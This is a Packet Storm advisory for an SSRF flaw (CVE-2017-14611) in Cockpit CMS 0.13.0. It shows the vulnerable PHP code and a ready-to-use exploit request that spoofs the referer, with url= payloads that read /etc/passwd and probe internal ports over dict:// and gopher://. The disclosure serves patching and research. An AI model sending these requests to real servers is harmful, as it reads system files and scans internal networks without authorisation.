what you don't know can hurt you

Cockpit CMS 0.13.0 Server Side Request Forgery

Cockpit CMS 0.13.0 Server Side Request Forgery
Posted Apr 6, 2018
Authored by Jiawang Zhang, Qian Wu, Bo Wang

Cockpit CMS version 0.13.0 suffers from a server-side request forgery vulnerability.

tags | exploit
advisories | CVE-2017-14611
MD5 | a8f5621bbb2134b06037d093d935393e

Cockpit CMS 0.13.0 Server Side Request Forgery

Change Mirror Download
# SSRFPS"Server Side Request ForgeryPS(c) in Cockpit CMS 0.13.0 (CVE-2017-14611)

The Cockpit CMS is awesome if you need a flexible content structure but don't want to be limited in how to use the content.

## Product Download: https://getcockpit.com/

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Cockpit CMS uses a `fetch_url_contents` PS"https://github.com/aheinze/fetch_url_contentsPS(c)project code on github website, This Project has SSRF VulnerabilityPS!So affect the system.

The vulnerability codePS"/assets/lib/fuc.js.phpPS(c):

if (isset($_REQUEST['url'])) {

// allow only query from same host
echo(parse_url($_SERVER['HTTP_REFERER'],PHP_URL_HOST));

if ($_SERVER['HTTP_HOST'] != parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST)) {
header('HTTP/1.0 401 Unauthorized');
return;
}

$url = $_REQUEST['url'];
$content = '';

if (function_exists('curl_exec')){
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($conn, CURLOPT_FRESH_CONNECT, true);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17');
curl_setopt($conn, CURLOPT_AUTOREFERER, true);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_VERBOSE, 0);
$content = curl_exec($conn);
curl_close($conn);
}
if (!$content && function_exists('file_get_contents')){
$content = @file_get_contents($url);
}
if (!$content && function_exists('fopen') && function_exists('stream_get_contents')){
$handle = @fopen ($url, "r");
$content = @stream_get_contents($handle);
}

if (!$content) {
header('HTTP/1.0 503 Service Unavailable');
}

return print($content);
}


## Exploit

GET /assets/lib/fuc.js.php?url=dict://127.0.0.1:3306 HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
referer:http://127.0.0.1/index.php

modify the above url parameterPS!examplePS!file:

request http(s) protocol: url=http(s)://www.google.com

file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini

If the curl function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol

scan prot,example: url=dict://127.0.0.1:3306
use gopher protocol: url=gopher://127.0.0.1:3306

If the curl function is unavailable,this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.

## Versions

Cockpit 0.13.0

## Impact

SSRF(Server Side Request Forgery) in Cockpit 0.13.0 version allow remote attackers to arbitrary files readPS!scan network portPS!information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14611



Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    17 Files
  • 25
    Jan 25th
    34 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close